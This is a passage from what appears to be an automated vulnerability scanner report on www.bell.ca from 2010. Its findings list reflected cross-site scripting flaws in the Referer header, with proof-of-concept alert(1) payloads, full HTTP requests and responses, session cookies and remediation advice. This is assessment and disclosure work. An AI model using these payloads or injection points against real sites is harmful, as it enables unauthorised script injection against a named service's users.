Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: http://www.google.com/search?hl=en&q=1f15f'-alert(1)-'e523aaffb1

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:41:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=JHLYMstGjLDXGS2N6XSrpbxyQtJGWGvPGmbQWQTxTTTJqDpvkVCs!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13770


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=1f15f'-alert(1)-'e523aaffb1';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.388. https://www.bell.ca/accessibilityservices/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /accessibilityservices/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec178'-alert(1)-'1d4d7af9f5d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=ec178'-alert(1)-'1d4d7af9f5d

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:21:47 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13798


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=ec178'-alert(1)-'1d4d7af9f5d';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.389. https://www.bell.ca/accessibilityservices/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /accessibilityservices/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 6ea05--><script>alert(1)</script>b18f7e8942b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /accessibilityservices/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: 6ea05--><script>alert(1)</script>b18f7e8942b

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:21:51 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 11138
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 6ea05--><script>alert(1)</script>b18f7e8942b -->

2.390. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.page&loginFailed=true [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.page&loginFailed=true

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 60625--><script>alert(1)</script>3c72c0f80a3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.page&loginFailed=true HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: http://www.google.com/search?hl=en&q=60625--><script>alert(1)</script>3c72c0f80a3

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 01:24:46 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3643
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/mybell/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]>
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=60625--><script>alert(1)</script>3c72c0f80a3 -->
...[SNIP]...

2.391. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.page-- [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.page--

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 191d4--><script>alert(1)</script>c1cc700e51f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.page-- HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: http://www.google.com/search?hl=en&q=191d4--><script>alert(1)</script>c1cc700e51f

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 01:24:27 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3643
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/mybell/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]>
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=191d4--><script>alert(1)</script>c1cc700e51f -->
...[SNIP]...

2.392. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 880f5--><script>alert(1)</script>48f5d0f5815 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=880f5--><script>alert(1)</script>48f5d0f5815

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 16:37:50 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Length: 3643
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/mybell/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]>
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=880f5--><script>alert(1)</script>48f5d0f5815 -->
...[SNIP]...

2.393. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a&loginFailed=true [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a&loginFailed=true

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload cdd2f--><script>alert(1)</script>08b3f0c2577 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a&loginFailed=true HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=cdd2f--><script>alert(1)</script>08b3f0c2577

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 16:37:50 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Length: 3643
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/mybell/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]>
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=cdd2f--><script>alert(1)</script>08b3f0c2577 -->
...[SNIP]...

2.394. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a-- [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a--

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 84e9d--><script>alert(1)</script>ca1f49bb3f0 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a-- HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=84e9d--><script>alert(1)</script>ca1f49bb3f0

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 16:37:56 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Length: 3643
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/mybell/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]>
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=84e9d--><script>alert(1)</script>ca1f49bb3f0 -->
...[SNIP]...

2.395. https://www.bell.ca/shop/popups/personal/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shop/popups/personal/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload a0bb6--><script>alert(1)</script>d8624904c5f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shop/popups/personal/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=a0bb6--><script>alert(1)</script>d8624904c5f

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:45 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3357
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouvee</title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
</head>
<body>
<!-- Referrer is http://www.google.com/search?hl=en&q=a0bb6--><script>alert(1)</script>d8624904c5f -->
...[SNIP]...

2.396. https://www.bell.ca/shopping/common.portal/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/common.portal/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 8ce13--><script>alert(1)</script>a492ddbf899 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

